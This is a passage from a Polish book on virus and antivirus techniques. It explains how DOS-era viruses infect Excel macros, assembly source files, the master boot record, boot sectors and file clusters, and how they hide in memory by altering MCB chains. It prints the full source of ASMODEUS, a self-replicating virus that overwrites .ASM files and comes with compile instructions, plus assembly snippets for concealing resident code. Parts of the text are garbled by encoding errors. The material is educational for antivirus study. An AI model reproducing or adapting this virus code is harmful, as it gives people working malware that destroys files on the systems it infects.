Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik PERSONAL.XLS,
inne jest też nazewnictwo makr. Sam sposób działania jest w zasadzie identyczny.
Poniższa tabela zawiera krótki opis makr automatycznych, dostępnych w Excelu.
Makra MS Excela o ustalonym znaczeniu
Nazwa makra

Opis makra

auto_open

uruchamiane podczas rozpoczynania pracy
z Excelem

background image

auto_close

uruchamiane podczas zamykania arkusza

4.1.8. Pliki ASM
Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału.
Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe.
Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do
zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem
wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program
może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później
dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania.
Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a
więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma
dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać
szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do
zarażanego programu.
Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w
efekcie niszczącego pliki).

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ASMODEUS v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; ;
; Kompilacja : ;
; TASM ASMODEUS.ASM ;
; TLINK /t ASMODEUS.OBJ ;
; ;
;----------------------------------------------------------------------------;
.286p
ASMODEUS SEGMENT
JUMPS
ASSUME CS:ASMODEUS, DS:ASMODEUS

ORG 100h

NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /

AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow

background image

AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu

VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start)
; dlugosc dyrekty z poczatku
; pliku ASM (ASSUME, ORG, itd.)
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start)
; dlugosc dyrekty z konca
; pliku ASM (ENDS, END)

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 (?) ; nazwa znalezionej pozycji
DTAStruc ends

NoweDTA equ 80h

VirusStart: ; tu zaczyna sie kod wirusa

lea dx,TeInformacja ; podaj, gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa

jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj

Infekcja:

lea dx,MaskaASM ; maska poszukiwanych plikow '*.ASM'

background image

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad

KolejnyPlik:
cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego

mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3d02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov cx,ASMNaglowek_Rozmiar ; ile zapisac
lea dx,ASMNaglowek_Start ; skad pobrac dane
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

cld ; operacje na lancuchach do przodu

push bx ; zachowaj uchwyt pliku

lea di,Bufor ; gdzie zapisywac wynik
lea bx,Hex ; gdzie znajduje sie tablica
; translacji na znaki heksalne
lea si,VirusStart ; gdzie zaczyna sie kod
mov cx,VirusDlug ; ilosc bajtow do konwersji

RobHex:
mov ax,'BD' ; \
stosw ; \ zapisz sekwencje
mov ax,'0 ' ; / 'db 0'

background image

stosw ; /

lodsb ; pobierz bajt kodu
mov ah,al ; zapamietaj na pozniej

shr al,4 ; pobierz 4 gorne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go

mov al,ah ; wez zapamietany bajt kodu
and al,15 ; pobierz 4 dolne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
; teraz bufor= 'db 0??'
mov al,'h' ; zapisz 'h' w buforze
stosb
; teraz bufor='db 0??h'
mov ax,0A0Dh ; zapisz znaki CR,LF
stosw
; teraz bufor='db 0??h',CR,LF
loop RobHex ; przetwarzaj caly kod programu

pop bx ; przwyroc uchwyt pliku

sub di,offset Bufor ; oblicz, ile bajtow zajmuje bufor
mov cx,di ; ile bajtow zapisac
lea dx,Bufor ; podaj, skad zapisac wirusa
; jako ciag DB ?,?, ... ?,?,?
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,ASMKoncowka_Rozmiar ; ile zapisac
lea dx,ASMKoncowka_Start ; skad pobrac dane
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS

ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS

background image

SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik ASM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad

PrzywrocAtrybut:
mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h

BezInfekcji:
ret ; koncz program, skocz do PSP:100h
; do rozkazu Int 20h

MaskaASM db '*.ASM' ; maska plikow ASM (ASCIIZ)

ASMNaglowek_Start:
db 'V SEGMENT',CR,LF
db 'ORG 100h',CR,LF
db 'Start:',CR,LF
ASMNaglowek_Koniec:
ASMKoncowka_Start:
db 'V ENDS',CR,LF
db 'END Start',CR,LF
ASMKoncowka_Koniec:
Hex db '0123456789ABCDEF'

; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak

mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii

background image

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot

TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR

VirusEnd:
Bufor db 32768 dup (?)

ASMODEUS ENDS
END VirusStart

4.2. Sektory systemowe
Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji
wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw
sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę
dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku
zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne
struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu
odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych
systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi
już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na
załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano
poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i
logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie
właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z
tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-
sektorem. Dokładniejszy ich opis znajduje się dalej.

4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR)
Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia
dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany
sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na
logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki
programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z
niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości
tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach.
Format głównego rekordu ładującego (MBR)

background image

Adres

Zawartość

000

Program wczytujący system z aktywnej partycji dysku twardego

1BE

Opis strefy nr 1

1CE

Opis strefy nr 2

1DE

Opis strefy nr 3

1EE

Opis strefy nr 4

1FE

Bajty 055h i 0AAh

Opis jednej strefy w tablicy partycji
Adres

Zawartość

00

Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego
80h - strefa zawiera system operacyjny

01

Numer głowicy, pod którą zaczyna się strefa

02-03

Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane
następująco (litery odpowiadają kolejnym bitom):
bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss =
numer sektora (0-63) CCcccccccc = numer cylindra (0-1023)

04

Rodzaj strefy (wg następnej tablicy)

05

Numer głowicy, pod którą kończy się strefa

06-07

Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo
jak w polu 02h-03h

08-0B

Względny numer sektora rozpoczynającego strefę

0C-0F

Długość strefy w sektorach

Rodzaje stref wg bajtu z pola 04h w opisie strefy
Bajt Rodzaj strefy
00h pusta
01h DOS 12-bit FAT
02h XENIX
03h XENIX /usr
04h DOSl6-bitFAT(do32M)
05h DOS 3.3+ rozszerzona partycja
06h DOS 3.31 + Large File System (16-bit FAT)
07h QNX
07h OS/2 HPFS
07h Windows NT NTFS
07h Advanced Unix
08h OS/2 (tylko v1.0-1.3)
08h AIX
08h Commodore DOS
08h DELL
09h AIX
09h Coherent
0Ah OS/2 Boot Manager
0Ah OPUS
0Ah Coherent
0Bh Windows 95 - 32-bit FAT

background image

0Ch Windows 95 - 32-bit FAT (LBA)
0Eh zarezerwowane przez Microsoft dla VFAT
0Fh zarezerwowane przez Microsoft dla VFAT
10h OPUS
11h OS/2 Boot Manager 12-bit FAT
12h partycja Compaq Diagnostics
14h tworzy ją Noyell DOS 7.0 FDISK
14h OS/2 Boot Manager
16h OS/2 Boot Manager
17h OS/2 Boot Manager HPFS
18h AST Windows plik wymiany
21h zarezerwowana
23h zarezerwowana
24h NEC MS-DOS 3.x
26h zarezerwowana
31h zarezerwowana
33h zarezerwowana
34h zarezerwowana
36h zarezerwowana
3Ch PowerQuest
40h VENIX 80286
41h Persona! RISC Boot
42h SFS (Secure File System)
50h OnTrack Disk Manager
51h OnTrack Disk Manager
51h NOYELL
52h CP/M
52h Microport System V/386
53h OnTrack Disk Manager
54h OnTrack Disk Manager (DDO)
56h GoldenBow VFeature
61h SpeedStor
63h Unix SysV/386
63h Mach
64h Novell NelWare 286
65h NovetlNetWare(3.11)
67h Novell
68h Novell
69h Novell _
70h DiskSecure Multi-Boot
71h zarezerwowana
73h zarezerwowana
74h zarezerwowana
75h PC/lX
76h zarezerwowana
80h Minixv1,1 - 1.4a
81h Minixv1.4b+

background image

81h Linux
81h Mitac Advanced Disk Manager
82h Linux Swap
82h Prime
83h Linux native file system
84h OS/2
86h zarezerwowana
87h HPFS Fault-Tolerant
93h Amoeba file system
94h Amoeba bad błock table
A1h zarezerwowana
A3h zarezerwowana
A4h zarezerwowana
A5h FreeBSD
A6h zarezerwowana
B1h zarezerwowana
B3h zarezerwowana
B4h zarezerwowana
B6h zarezerwowana
B7h BSDI file system
B8h BSDI plik wymiany
C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT
C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT
C6h DR DOS 6.0 LOGlN.EXE Huge
C7h Syrinx Boot
D8h CP/M-86
DBh CP/M
DBh CTOS (ConvergentTechnologies OS)
E1h SpeedStor 12-bit FAT rozszerzona partycja
E3h DOS tylko do czytania
E3h Storage Dimensions
E4h SpeedStor 16-bit FAT rozszerzona partycja
E5h zarezerwowana
E6h zarezerwowana
F1h Storage Dimensions
F2h DOS 3.3+
F3h zarezerwowana
F4h SpeedStor
F4h Storage Dimensions
F6h zarezerwowana
FEh LANstep
FEh IBM PS/2 IML
FFh Xenix

Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały
adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym
sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji.

background image

Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w
polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa
aktywna i można z niej załadować system operacyjny.
Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w
niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w
innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy
funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z
powrotem na dysk przy użyciu funkcji (03/13).
Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po
restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i
sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a
(poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie
kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje
obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres
0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje
normalne wczytywanie systemu.

4.3. Rekord ładujący (ang. BOOT-sector)
Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej:
wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO
(a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero
program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku
systemu DOS - najczęściej IO.SYS).
Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek
BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak
widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a
jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.
Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych
część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku
BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.
Zawartość BOOT-sektora przedstawiono w poniższej tabeli.
Zawartość BOOT-sektora
Adres

Zawartość

00-02

Instrukcja skoku do programu ładującego system, najczęściej
(OEBh ?? 90h). czyli JMP SHORT

03-0A

Nazwa wersji systemu (jako łańcuch ASCII)

Początek bloku BPB

+

0B-0C

Wielkość sektora w bajtach

0E-0F

Liczba sektorów zarezerwowanych na początku dysku

10

Liczba kopii FAT

11-12

Maksymalna liczba plików w katalogu głównym

13-14

Całkowita liczba sektorów na dysku logicznym (nie używane)

15

Bajt identyfikacji nośnika

16-17

Liczba sektorów zajętych przez FAT

18-19

Liczba sektorów na ścieżce

1A-1B

Liczba głowic dysku

1C-1D

background image

Koniec bloku BPB
24

Numer fizyczny dysku

25

Zarezerwowane

26

Rozszerzony znacznik BOOT-sektora

27-2A

Numer woluminu

2B-35

Etykieta dysku

36-3D

Typ FAT zapisany jako łańcuch ASCII

??-1FF

Program wczytujący system

Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie
oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w
przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora
łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń
związanych z translacją sektorów logicznych na fizyczne.

4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)
Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne
ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę
jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje
pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang.
File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji
Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o
ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu
0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego
długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez
rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić
końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku
wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być
porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko
czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość
pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego
pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych
odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych
zawartych w tablicy FAT.
Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku
(najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując
na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i
w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma
następnie możliwość wczytania dalszej części programu na podsta
wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu
zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych
procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej
realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk,
zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych
przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie
dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi
dysku logicznego przez system (część danych znajduje się w bloku BPB dysku,

background image

zawartego w BOOT-sektorze).
Pełny opis bloku DPB zawarto w poniższej tabeli.
Format bloku DPB
Adres

Zawartość

00

Numer dysku A:=0, B:=1, C:=2

01

Numer jednostki w programie obsługi

02-03

Wielkość sektora w bajtach

05

log2 (liczba sektorów w JAP)

06

Liczba zarezerwowanych sektorów na początku dysku

08

Ilość kopii tablicy FAT (najczęściej 2)

09-0A

Maksymalna ilość plików w katalogu głównym

0B-0C

Pierwszy sektor danych

0F-10

Liczba sektorów na FAT

11-12

Numer pierwszego sektora katalogu

13-16

Daleki wskaźnik do programu obsługi dysku

17

Bajt identyfikacji nośnika

18

Znacznik dostępu do dysku

19-1C

Daleki wskaźnik do następnego bloku DPB

1D-1E

Numer pierwszej wolnej JAP na dysku

1F-20

Liczba wolnych JAP na dysku

Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na
podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do
kolejnych bloków DPB. Realizuje to poniższa sekwencja:
Przeszukiwanie łańcucha DPB
mov AH,52h ; funkcja DOS - pobierz adres do listy list (LL)
INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, w
; kom¾rkach od ES:[BX] do ES:[BX+3] znajduje

; siÛ daleki wskaƒnik do pierwszego DPB
LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB
NastÛpnyDPB: ; pocz╣tek pÛtli
LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi LES
BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastÛpny bloku DPB, je┐eli jest
; to ostatni blok, to ES i BX zawieraj╣ OFFFFh,
MOV AX,ES

; weƒ segment

CMP AX,0FFFFh ; czy ES=OFFFFh ?
JNZ NastÛpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
CMP BX,AX ; czy BX=OFFFFh?
JNZ NastÛpnyDPB ; je£li nie, to jest jeszcze kolejny DPB

4.5. Wirusy kombinowane (ang: multipartition)
Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów.
W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy
partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu
multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego
typu bardzo szybko rozprzestrzeniają się w systemie komputerowym.
Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich

background image

zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi
wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby
nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych
przez system obszarów pamięci.
Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie
zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się
prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura
obsługi przejętego przerwania).

ROZDZIAŁ 5

5.1. Instalacja w tablicy wektorów przerwań
W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących
się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak
sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to
większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w
obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić
kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie,
potrzebujące do swych celów małego obszaru pamięci operacyjnej,

5.2. Instalacja w obszarze zmiennych DOS
W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar
wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne
dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci
systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa.

5.3. Instalacja w pamięci poniżej 640kB i UMB
Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z
których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock).
Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16
bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od
granicy paragrafu.
Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB -
LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang.
Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli.
Format MCB
Adres

Zawartość

00

Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza
ostatni blok w łańcuchu

01-02

Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego
właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment
niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie
niewidoczny dla programów przeglądających pamięć (dokładniej: będzie
widoczny, ale będzie traktowany jako integralna część systemu)

03-04

Rozmiar bloku w 16-bajtowych paragrafach

05-07

Zarezerwowane dla systemu

background image

08-0F

8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych.
Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w
to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to
skrót od System Code. a SD od System Data)

Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej
polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków
MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku
MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX
znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się
informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy,
poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość
realizuje się za pomocą następującej sekwencji:
; Poszukiwanie ostatniego bloku w │a±cuchu mcb
MOV AH,52H ; funkcja DOS - weƒ adres do listy
; list (ll)
INT 21H ; wywo│aj funkcjÛ
MOV AX,ES:[BX-2] ; AX=adres segmentowy pierwszego MCB
NAST╩PNY:
MOV DS,AX ; ds wskazuje na sprawdzany blok MCB
CMP BYTE PTR DS:[0], Z ; czy ostatni blok ?
JE OSTATNI ; skocz, je£li tak
INC AX ; dodaj rozmiar MCB (16 bajt¾w=1 paragraf)
ADD AX, DS:[3] ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB
JMP SHORT NASTEPNY ; sprawdƒ nastÛpny blok
OSTATNI: ; ds wskazuje na ostatni blok
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych)
SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla

;programu w PSP bie┐╣cego procesu

Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez
zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca
sekwencja:
; Zmniejszenie bloku przydzielonego aktualnemu procesowi
MOV AH,62h ; funkcja DOS - weƒ adres PSP aktualnego procesu
INT 21h ; uruchom funkcjÛ DOS, BX zawiera adres PSP
DEC BX ; BX-1 zawiera adres MCB, bÛd╣cego w│a£cicielem bloku MOV
DS,BX ; DS wskazuje na MCB
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) SUB
DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla
; programu w PSP bie┐╣cego procesu

Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu
(48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja
polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok
ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać

background image

dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe,
na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające
pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD'
[odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang.
System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy
przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca
sekwencja:
; Tworzenie sztucznego bloku systemowego
MOV BX,ROZMIAR ; BX = rozmiar ┐╣danej pamiÛci
MOV AH,48h ; funkcja DOS - przydziel pamiÛµ
INT 21h ; wywo│aj funkcjÛ DOS
JC BLAD ; Je£li CF=1 to b│╣d, AX=segment pamiÛci
DEC AX ; AX-1=segment z nag│¾wkiem MCB (w│a£cicielem
; bloku amiÛci)
MOV DS,AX ; DS = segment MCB
MOV DS:[l],0008h ; zmie± MCB na systemowy

Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje
programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki
temu można powiększyć pewien blok wykorzystywany przez system lub programy
